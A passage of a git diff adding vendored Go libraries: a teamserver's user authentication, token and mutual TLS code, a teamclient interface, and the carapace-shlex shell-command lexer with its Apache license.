ErrDatabase, err) + } + + publicKey, privateKey, err := ts.certs.UserClientGenerateCertificate(name) + if err != nil { + return nil, ts.errorf("%w: failed to generate certificate %w", ErrCertificate, err) + } + + caCertPEM, _, _ := ts.certs.GetUsersCAPEM() + config := client.Config{ + User: name, + Token: rawToken, + Host: lhost, + Port: int(lport), + CACertificate: string(caCertPEM), + PrivateKey: string(privateKey), + Certificate: string(publicKey), + } + + return &config, nil +} + +// UserDelete deletes a user and its cryptographic materials from +// the teamserver database, clearing the API auth tokens cache. +// +// WARN: This function has two very precise effects/consequences: +// 1. The server-side Mutual TLS configuration obtained with server.GetUserTLSConfig() +// will refuse all connections using the deleted user TLS credentials, returning +// an authentication failure. +// 2. The server.AuthenticateUser(token) method will always return an ErrUnauthenticated +// error from the call, because the delete user is not in the database anymore. +// +// Thus, it is up to the users of this library to use the builting teamserver TLS +// configurations in their teamserver listener / teamclient dialer implementations. +// +// Certificate files, API authentication token are deleted from the teamserver database, +// conformingly to its configured backend/filesystem (can be in-memory or on filesystem). +func (ts *Server) UserDelete(name string) error { + if err := ts.initDatabase(); err != nil { + return ts.errorf("%w: %w", ErrDatabase, err) + } + + err := ts.dbSession().Where(&db.User{ + Name: name, + }).Delete(&db.User{}).Error + if err != nil { + return err + } + + // Clear the token cache so that all requests from + // connected clients of this user are now refused. + ts.userTokens = &sync.Map{} + + return ts.certs.UserClientRemoveCertificate(name) +} + +// UserAuthenticate accepts a raw 128-bits long API Authentication token belonging to the +// user of a connected/connecting teamclient. The token is hashed and checked against the +// teamserver users database for the matching user. +// This function shall alternatively return: +// - The name of the authenticated user, true for authenticated and no error. +// - No name, false for authenticated, and an ErrUnauthenticated error. +// - No name, false for authenticated, and a database error, if was ignited now. +// +// This call updates the last time the user has been seen by the server. +func (ts *Server) UserAuthenticate(rawToken string) (name string, authorized bool, err error) { + if err := ts.initDatabase(); err != nil { + return "", false, ts.errorf("%w: %w", ErrDatabase, err) + } + + log := ts.NamedLogger("server", "auth") + log.Debugf("Authorization-checking user token ...") + + // Check auth cache + digest := sha256.Sum256([]byte(rawToken)) + token := hex.EncodeToString(digest[:]) + + if name, ok := ts.userTokens.Load(token); ok { + log.Debugf("Token in cache!") + ts.updateLastSeen(name.(string)) + return name.(string), true, nil + } + + user, err := ts.userByToken(token) + if err != nil || user == nil { + return "", false, ts.errorf("%w: %w", ErrUnauthenticated, err) + } + + ts.updateLastSeen(user.Name) + + log.Debugf("Valid user token for %s", user.Name) + ts.userTokens.Store(token, user.Name) + + return user.Name, true, nil +} + +// UsersTLSConfig returns a server-side Mutual TLS configuration struct, ready to run. +// The configuration performs all and every verifications that the teamserver should do, +// and peer TLS clients (teamclient.Config) are not allowed to choose any TLS parameters. +// +// This should be used by team/server.Listeners at the net.Listener/net.Conn level. +// As for all errors of the teamserver API, any error returned here is defered-logged. +func (ts *Server) UsersTLSConfig() (*tls.Config, error) { + log := ts.NamedLogger("certs", "mtls") + + if err := ts.initDatabase(); err != nil { + return nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + caCertPtr, _, err := ts.certs.GetUsersCA() + if err != nil { + return nil, ts.errorWith(log, "%w: failed to get users certificate authority: %w", ErrCertificate, err) + } + + caCertPool := x509.NewCertPool() + caCertPool.AddCert(caCertPtr) + + _, _, err = ts.certs.UserServerGetCertificate() + if errors.Is(err, certs.ErrCertDoesNotExist) { + if _, _, err := ts.certs.UserServerGenerateCertificate(); err != nil { + return nil, ts.errorWith(log, err.Error()) + } + } + + certPEM, keyPEM, err := ts.certs.UserServerGetCertificate() + if err != nil { + return nil, ts.errorWith(log, "%w: failed to generated or fetch user certificate: %w", ErrCertificate, err) + } + + cert, err := tls.X509KeyPair(certPEM, keyPEM) + if err != nil { + return nil, ts.errorWith(log, "%w: failed to load server certificate: %w", ErrCertificate, err) + } + + tlsConfig := &tls.Config{ + RootCAs: caCertPool, + ClientAuth: tls.RequireAndVerifyClientCert, + ClientCAs: caCertPool, + Certificates: []tls.Certificate{cert}, + MinVersion: tls.VersionTLS13, + } + + if keyLogger := ts.certs.OpenTLSKeyLogFile(); keyLogger != nil { + tlsConfig.KeyLogWriter = ts.certs.OpenTLSKeyLogFile() + } + + return tlsConfig, nil +} + +// UsersGetCA returns the bytes of a PEM-encoded certificate authority, +// which contains certificates of all users of this teamserver. +func (ts *Server) UsersGetCA() ([]byte, []byte, error) { + if err := ts.initDatabase(); err != nil { + return nil, nil, ts.errorf("%w: %w", ErrDatabase, err) + } + + return ts.certs.GetUsersCAPEM() +} + +// UsersSaveCA accepts the public and private parts of a Certificate +// Authority containing one or more users to add to the teamserver. +func (ts *Server) UsersSaveCA(cert, key []byte) { + if err := ts.initDatabase(); err != nil { + return + } + + ts.certs.SaveUsersCA(cert, key) +} + +// newUserToken - Generate a new user authentication token. +func (ts *Server) newUserToken() (string, error) { + buf := make([]byte, tokenLength) + + n, err := rand.Read(buf) + if err != nil || n != len(buf) { + return "", fmt.Errorf("%w: %w", ErrSecureRandFailed, err) + } else if n != len(buf) { + return "", ErrSecureRandFailed + } + + return hex.EncodeToString(buf), nil +} + +// userByToken - Select a teamserver user by token value. +func (ts *Server) userByToken(value string) (*db.User, error) { + if len(value) < 1 { + return nil, db.ErrRecordNotFound + } + + user := &db.User{} + err := ts.dbSession().Where(&db.User{ + Token: value, + }).First(user).Error + + return user, err +} + +func (ts *Server) updateLastSeen(name string) { + lastSeen := time.Now().Round(1 * time.Second) + ts.dbSession().Model(&db.User{}).Where("name", name).Update("LastSeen", lastSeen) +} + +// func TestRootOnlyVerifyCertificate(t *testing.T) { +// certs.SetupCAs() +// +// data, err := NewOperatorConfig("zerocool", "localhost", uint16(1337)) +// if err != nil { +// t.Fatalf("failed to generate test player profile %s", err) +// } +// config := &ClientConfig{} +// err = json.Unmarshal(data, config) +// if err != nil { +// t.Fatalf("failed to parse client config %s", err) +// } +// +// _, _, err = certs.OperatorServerGetCertificate("localhost") +// if err == certs.ErrCertDoesNotExist { +// certs.OperatorServerGenerateCertificate("localhost") +// } +// +// // Test with a valid certificate +// certPEM, _, _ := certs.OperatorServerGetCertificate("localhost") +// block, _ := pem.Decode(certPEM) +// err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) +// if err != nil { +// t.Fatalf("root only verify certificate error: %s", err) +// } +// +// // Test with wrong CA +// wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false) +// block, _ = pem.Decode(wrongCert) +// err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) +// if err == nil { +// t.Fatal("root only verify cert verified a certificate with invalid ca!") +// } +// +// } + +// func TestOperatorGenerateCertificate(t *testing.T) { +// GenerateCertificateAuthority(OperatorCA, "") +// cert1, key1, err := OperatorClientGenerateCertificate("test3") +// if err != nil { +// t.Errorf("Failed to store ecc certificate %v", err) +// return +// } +// +// cert2, key2, err := OperatorClientGetCertificate("test3") +// if err != nil { +// t.Errorf("Failed to get ecc certificate %v", err) +// return +// } +// +// if !bytes.Equal(cert1, cert2) || !bytes.Equal(key1, key2) { +// t.Errorf("Stored ecc cert/key does match generated cert/key: %v != %v", cert1, cert2) +// return +// } +// } diff --git a/vendor/github.com/reeflective/team/teamclient.go b/vendor/github.com/reeflective/team/teamclient.go new file mode 100644 index 0000000000..07fdefd54a --- /dev/null +++ b/vendor/github.com/reeflective/team/teamclient.go @@ -0,0 +1,70 @@ +package team + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import "time" + +// Client is the smallest interface which should be implemented by all +// teamclients of any sort, regardless of their use of the client/server +// packages in the reeflective/team Go module. +// This interface has been declared with various aims in mind: +// - To provide a base reference/hint about what minimum functionality +// is to be provided by the teamclients and teamservers alike. +// - To harmonize the use of team/client and team/server core drivers. +type Client interface { + // Users returns the list of teamserver users and their status. + Users() ([]User, error) + // VersionClient returns the compilation/version information for the client. + VersionClient() (Version, error) + // VersionServer returns the compilation/version information from a connected teamserver. + VersionServer() (Version, error) +} + +// User represents a teamserver user. +// This user shall be registered to a teamserver (ie. the teamserver should +// be in possession of the user cryptographic materials required to serve him) +// This type is returned by both team/clients and team/servers. +type User struct { + Name string + Online bool + LastSeen time.Time + Clients int +} + +// Version returns complete version/compilation information for a given binary. +// Therefore, two distinct version information can be provided by a teamclient +// connected to a remote (distinct runtime) server: the client binary version, +// and the server binary version. +// When a teamserver is serving itself in-memory, both versions will thus be identical. +// +// Note to developers: updating your teamserver/teamclient version information +// requires you to use `go generate ./...` at the root of your Go module code. +// The team/server and team/client will thus embed their respective version +// informations thanks to an automatic shell script generation. +// See the https://github.com/reeflective/team README/doc for more details. +type Version struct { + Major int32 + Minor int32 + Patch int32 + Commit string + Dirty bool + CompiledAt int64 + OS string + Arch string +} diff --git a/vendor/github.com/rsteube/carapace-shlex/.gitignore b/vendor/github.com/rsteube/carapace-shlex/.gitignore new file mode 100644 index 0000000000..73675b8536 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/.gitignore @@ -0,0 +1,2 @@ +cmd/carapace-shlex/carapace-shlex +profile.cov diff --git a/vendor/github.com/rsteube/carapace-shlex/LICENSE.txt b/vendor/github.com/rsteube/carapace-shlex/LICENSE.txt new file mode 100644 index 0000000000..d645695673 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/vendor/github.com/rsteube/carapace-shlex/README.md b/vendor/github.com/rsteube/carapace-shlex/README.md new file mode 100644 index 0000000000..bd6047846a --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/README.md @@ -0,0 +1,12 @@ +# carapace-shlex + +[![PkgGoDev](https://pkg.go.dev/badge/github.com/rsteube/carapace-shlex)](https://pkg.go.dev/github.com/rsteube/carapace-shlex) +[![GoReportCard](https://goreportcard.com/badge/github.com/rsteube/carapace-shlex)](https://goreportcard.com/report/github.com/rsteube/carapace-shlex) +[![Coverage Status](https://coveralls.io/repos/github/rsteube/carapace-shlex/badge.svg?branch=master)](https://coveralls.io/github/rsteube/carapace-shlex?branch=master) + +Fork of [go-shlex](https://github.com/google/shlex) aimed to enable completion of complex commands passed as single argument with [Split] in [carapace]. + +[![asciicast](https://asciinema.org/a/599580.svg)](https://asciinema.org/a/599580) + +[Split]:https://rsteube.github.io/carapace/carapace/action/split.html +[carapace]:https://github.com/rsteube/carapace diff --git a/vendor/github.com/rsteube/carapace-shlex/go.work b/vendor/github.com/rsteube/carapace-shlex/go.work new file mode 100644 index 0000000000..4fcb83e584 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/go.work @@ -0,0 +1,6 @@ +go 1.19 + +use ( + . + ./cmd +) diff --git a/vendor/github.com/rsteube/carapace-shlex/shlex.go b/vendor/github.com/rsteube/carapace-shlex/shlex.go new file mode 100644 index 0000000000..caedbfc994 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/shlex.go @@ -0,0 +1,419 @@ +package shlex + +import ( + "bufio" + "encoding/json" + "fmt" + "io" + "os" + "strings" +) + +// TokenType is a top-level token classification: A word, space, comment, unknown. +type TokenType int + +func (t TokenType) MarshalJSON() ([]byte, error) { + return json.Marshal(tokenTypes[t]) +} + +// runeTokenClass is the type of a UTF-8 character classification: A quote, space, escape. +type runeTokenClass int + +// the internal state used by the lexer state machine +type LexerState int + +func (l LexerState) MarshalJSON() ([]byte, error) { + return json.Marshal(lexerStates[l]) +} + +// Token is a (type, value) pair representing a lexographical token. +type Token struct { + Type TokenType + Value string + RawValue string + Index int + State LexerState + WordbreakType WordbreakType `json:",omitempty"` + WordbreakIndex int // index of last opening quote in Value (only correct when in quoting state) +} + +func (t *Token) add(r rune) { + t.Value += string(r) +} + +func (t *Token) removeLastRaw() { + runes := []rune(t.RawValue) + t.RawValue = string(runes[:len(runes)-1]) +} + +func (t Token) adjoins(other Token) bool { + return t.Index+len(t.RawValue) == other.Index || t.Index == other.Index+len(other.RawValue) +} + +// Equal reports whether tokens a, and b, are equal. +// Two tokens are equal if both their types and values are equal. A nil token can +// never be equal to another token. +func (t *Token) Equal(other *Token) bool { + switch { + case t == nil, + other == nil, + t.Type != other.Type, + t.Value != other.Value, + t.RawValue != other.RawValue, + t.Index != other.Index, + t.State != other.State, + t.WordbreakType != other.WordbreakType, + t.WordbreakIndex != other.WordbreakIndex: + return false + default: + return true + } +} + +// Named classes of UTF-8 runes +const ( + spaceRunes = " \t\r\n" + escapingQuoteRunes = `"` + nonEscapingQuoteRunes = "'" + escapeRunes = `\` + commentRunes = "#" +) + +// Classes of rune token +const ( + unknownRuneClass runeTokenClass = iota + spaceRuneClass + escapingQuoteRuneClass + nonEscapingQuoteRuneClass + escapeRuneClass + commentRuneClass + wordbreakRuneClass + eofRuneClass +) + +// Classes of lexographic token +const ( + UNKNOWN_TOKEN TokenType = iota + WORD_TOKEN + SPACE_TOKEN + COMMENT_TOKEN + WORDBREAK_TOKEN +) + +var tokenTypes = map[TokenType]string{ + UNKNOWN_TOKEN: "UNKNOWN_TOKEN", + WORD_TOKEN: "WORD_TOKEN", + SPACE_TOKEN: "SPACE_TOKEN", + COMMENT_TOKEN: "COMMENT_TOKEN", + WORDBREAK_TOKEN: "WORDBREAK_TOKEN", +} + +// Lexer state machine states +const ( + START_STATE LexerState = iota // no runes have been seen + IN_WORD_STATE // processing regular runes in a word + ESCAPING_STATE // we have just consumed an escape rune; the next rune is literal + ESCAPING_QUOTED_STATE // we have just consumed an escape rune within a quoted string + QUOTING_ESCAPING_STATE // we are within a quoted string that supports escaping ("...") + QUOTING_STATE // we are within a string that does not support escaping ('...') + COMMENT_STATE // we are within a comment (everything following an unquoted or unescaped # + WORDBREAK_STATE // we have just consumed a wordbreak rune +) + +var lexerStates = map[LexerState]string{ + START_STATE: "START_STATE", + IN_WORD_STATE: "IN_WORD_STATE", + ESCAPING_STATE: "ESCAPING_STATE", + ESCAPING_QUOTED_STATE: "ESCAPING_QUOTED_STATE", + QUOTING_ESCAPING_STATE: "QUOTING_ESCAPING_STATE", + QUOTING_STATE: "QUOTING_STATE", + COMMENT_STATE: "COMMENT_STATE", + WORDBREAK_STATE: "WORDBREAK_STATE", +} + +// tokenClassifier is used for classifying rune characters. +type tokenClassifier map[rune]runeTokenClass + +func (typeMap tokenClassifier) addRuneClass(runes string, tokenType runeTokenClass) { + for _, runeChar := range runes { + typeMap[runeChar] = tokenType + } +} + +// newDefaultClassifier creates a new classifier for ASCII characters. +func newDefaultClassifier() tokenClassifier { + t := tokenClassifier{} + t.addRuneClass(spaceRunes, spaceRuneClass) + t.addRuneClass(escapingQuoteRunes, escapingQuoteRuneClass) + t.addRuneClass(nonEscapingQuoteRunes, nonEscapingQuoteRuneClass) + t.addRuneClass(escapeRunes, escapeRuneClass) + t.addRuneClass(commentRunes, commentRuneClass) + + wordbreakRunes := BASH_WORDBREAKS + if wordbreaks := os.Getenv("COMP_WORDBREAKS"); wordbreaks != "" { + wordbreakRunes = wordbreaks + } + filtered := make([]rune, 0) + for _, r := range wordbreakRunes { + if t.ClassifyRune(r) == unknownRuneClass { + filtered = append(filtered, r) + } + } + t.addRuneClass(string(filtered), wordbreakRuneClass) + + return t +} + +// ClassifyRune classifiees a rune +func (t tokenClassifier) ClassifyRune(runeVal rune) runeTokenClass { + return t[runeVal] +} + +// lexer turns an input stream into a sequence of tokens. Whitespace and comments are skipped. +type lexer tokenizer + +// newLexer creates a new lexer from an input stream. +func newLexer(r io.Reader) *lexer { + return (*lexer)(newTokenizer(r)) +} + +// Next returns the next token, or an error. If there are no more tokens, +// the error will be io.EOF. +func (l *lexer) Next() (*Token, error) { + for { + token, err := (*tokenizer)(l).Next() + if err != nil { + return token, err + } + switch token.Type { + case WORD_TOKEN, WORDBREAK_TOKEN: + return token, nil + case COMMENT_TOKEN: + // skip comments + default: + return nil, fmt.Errorf("unknown token type: %v", token.Type) + } + } +} + +// tokenizer turns an input stream into a sequence of typed tokens +type tokenizer struct { + input bufio.Reader + classifier tokenClassifier + index int + state LexerState +} + +func (t *tokenizer) ReadRune() (r rune, size int, err error) { + if r, size, err = t.input.ReadRune(); err == nil { + t.index += 1 + } + return +} + +func (t *tokenizer) UnreadRune() (err error) { + if err = t.input.UnreadRune(); err == nil { + t.index -= 1 + } + return +} + +// newTokenizer creates a new tokenizer from an input stream. +func newTokenizer(r io.Reader) *tokenizer { + input := bufio.NewReader(r) + classifier := newDefaultClassifier() + return &tokenizer{ + input: *input, + classifier: classifier} +} + +// scanStream scans the stream for the next token using the internal state machine. +// It will panic if it encounters a rune which it does not know how to handle. +func (t *tokenizer) scanStream() (*Token, error) { + previousState := t.state + t.state = START_STATE + token := &Token{} + var nextRune rune + var nextRuneType runeTokenClass + var err error + consumed := 0 + + for { + nextRune, _, err = t.ReadRune() + nextRuneType = t.classifier.ClassifyRune(nextRune) + token.RawValue += string(nextRune) + consumed += 1 // TODO find a nicer solution for this + + switch { + case err == io.EOF: + nextRuneType = eofRuneClass + err = nil + case err != nil: + return nil, err + } + + switch t.state { + case START_STATE: // no runes read yet + { + if nextRuneType != spaceRuneClass { + token.Index = t.index - 1 + } + switch nextRuneType { + case eofRuneClass: + switch { + case t.index == 0: // tonkenizer contains an empty string + token.removeLastRaw() + token.Type = WORD_TOKEN + token.Index = t.index + t.index += 1 + return token, nil // return an additional empty token for current cursor position + case previousState == WORDBREAK_STATE, consumed > 1: // consumed is greater than 1 when when there were spaceRunes before + token.removeLastRaw() + token.Type = WORD_TOKEN + token.Index = t.index + return token, nil // return an additional empty token for current cursor position + default: + return nil, io.EOF + } + case spaceRuneClass: + token.removeLastRaw() + case escapingQuoteRuneClass: + token.Type = WORD_TOKEN + t.state = QUOTING_ESCAPING_STATE + token.WordbreakIndex = len(token.Value) + case nonEscapingQuoteRuneClass: + token.Type = WORD_TOKEN + t.state = QUOTING_STATE + token.WordbreakIndex = len(token.Value) + case escapeRuneClass: + token.Type = WORD_TOKEN + t.state = ESCAPING_STATE + case commentRuneClass: + token.Type = COMMENT_TOKEN + t.state = COMMENT_STATE + case wordbreakRuneClass: + token.Type = WORDBREAK_TOKEN + token.add(nextRune) + t.state = WORDBREAK_STATE + default: + token.Type = WORD_TOKEN + token.add(nextRune) + t.state = IN_WORD_STATE + } + } + case WORDBREAK_STATE: + switch nextRuneType { + case wordbreakRuneClass: + token.add(nextRune) + default: + token.removeLastRaw() + t.UnreadRune() + return token, err + } + case IN_WORD_STATE: // in a regular word + switch nextRuneType { + case wordbreakRuneClass: + token.removeLastRaw() + t.UnreadRune() + return token, err + case eofRuneClass, spaceRuneClass: + token.removeLastRaw() + t.UnreadRune() + return token, err + case escapingQuoteRuneClass: + t.state = QUOTING_ESCAPING_STATE + token.WordbreakIndex = len(token.Value) + case nonEscapingQuoteRuneClass: + t.state = QUOTING_STATE + token.WordbreakIndex = len(token.Value) + case escapeRuneClass: + t.state = ESCAPING_STATE + default: + token.add(nextRune) + } + case ESCAPING_STATE: // the rune after an escape character + switch nextRuneType { + case eofRuneClass: // EOF found after escape character + token.removeLastRaw() + return token, err + default: + t.state = IN_WORD_STATE + token.add(nextRune) + } + case ESCAPING_QUOTED_STATE: // the next rune after an escape character, in double quotes + switch nextRuneType { + case eofRuneClass: // EOF found after escape character + token.removeLastRaw() + return token, err + default: + t.state = QUOTING_ESCAPING_STATE + token.add(nextRune) + } + case QUOTING_ESCAPING_STATE: // in escaping double quotes + switch nextRuneType { + case eofRuneClass: // EOF found when expecting closing quote + token.removeLastRaw() + return token, err + case escapingQuoteRuneClass: + t.state = IN_WORD_STATE + case escapeRuneClass: + t.state = ESCAPING_QUOTED_STATE + default: + token.add(nextRune) + } + case QUOTING_STATE: // in non-escaping single quotes + switch nextRuneType { + case eofRuneClass: // EOF found when expecting closing quote + token.removeLastRaw() + return token, err + case nonEscapingQuoteRuneClass: + t.state = IN_WORD_STATE + default: + token.add(nextRune) + } + case COMMENT_STATE: // in a comment + switch nextRuneType { + case eofRuneClass: + return token, err + case spaceRuneClass: + if nextRune == '\n' { + token.removeLastRaw() + t.state = START_STATE + return token, err + } else { + token.add(nextRune) + } + default: + token.add(nextRune) + } + default: + return nil, fmt.Errorf("unexpected state: %v", t.state) + } + } +} + +// Next returns the next token in the stream. +func (t *tokenizer) Next() (*Token, error) { + token, err := t.scanStream() + if err == nil { + token.State = t.state // TODO should be done in scanStream + token.WordbreakType = wordbreakType(*token) + } + return token, err +} + +// Split partitions of a string into tokens. +func Split(s string) (TokenSlice, error) { + l := newLexer(strings.NewReader(s)) + tokens := make(TokenSlice, 0) + for { + token, err := l.Next() + if err != nil { + if err == io.EOF { + return tokens, nil + } + return nil, err + } + tokens = append(tokens, *token) + } +} diff --git a/vendor/github.com/rsteube/carapace-shlex/tokenslice.go b/vendor/github.com/rsteube/carapace-shlex/tokenslice.go new file mode 100644 index 0000000000..7377676669 --- /dev/null +++ b/vendor/github.com/rsteube/carapace-shlex/tokenslice.go @@ -0,0 +1,123 @@ +package shlex + +import ( + "strconv" +) + +type TokenSlice []Token + +func (t TokenSlice) Strings() []string { + s := make([]string, 0, len(t)) + for _, token := range t { + s = append(s, token.Value) + } + return s +} + +func (t TokenSlice) Pipelines() []TokenSlice { + pipelines := make([]TokenSlice, 0) + + pipeline := make(TokenSlice, 0) + for _, token := range t { + switch { + case token.Type == WORDBREAK_TOKEN && wordbreakType(token).IsPipelineDelimiter(): + pipelines = append(pipelines, pipeline) + pipeline = make(TokenSlice, 0) + default: + pipeline = append(pipeline, token) + } + } + return append(pipelines, pipeline) +} + +func (t TokenSlice) CurrentPipeline() TokenSlice { + pipelines := t.Pipelines() + return pipelines[len(pipelines)-1] +} + +func (t TokenSlice) Words() TokenSlice { + words := make(TokenSlice, 0) + for index, token := range t { + switch { + case index == 0: + words = append(words, token) + case t[index-1].adjoins(token): + words[len(words)-1].Value += token.Value + words[len(words)-1].RawValue += token.RawValue + words[len(words)-1].State = token.State + default: + words = append(words, token) + } + } + return words +} + +func (t TokenSlice) FilterRedirects() TokenSlice { + filtered := make(TokenSlice, 0) + for index, token := range t { + switch token.Type { + case WORDBREAK_TOKEN: + if wordbreakType(token).IsRedirect() { + continue + } + } + + if index > 0 { + if wordbreakType(t[index-1]).IsRedirect() { + continue + } + } + + if index < len(t)-1 { + next := t[index+1] + if token.adjoins(next) { + if _, err := strconv.Atoi(token.RawValue); err == nil { + if wordbreakType(t[index+1]).IsRedirect() { + continue + } + } + } + + } + + filtered = append(filtered, token) + } + return filtered +} + +func (t TokenSlice) CurrentToken() (token Token) { + if len(t) > 0 { + token = t[len(t)-1] + } + return +} + +func (t 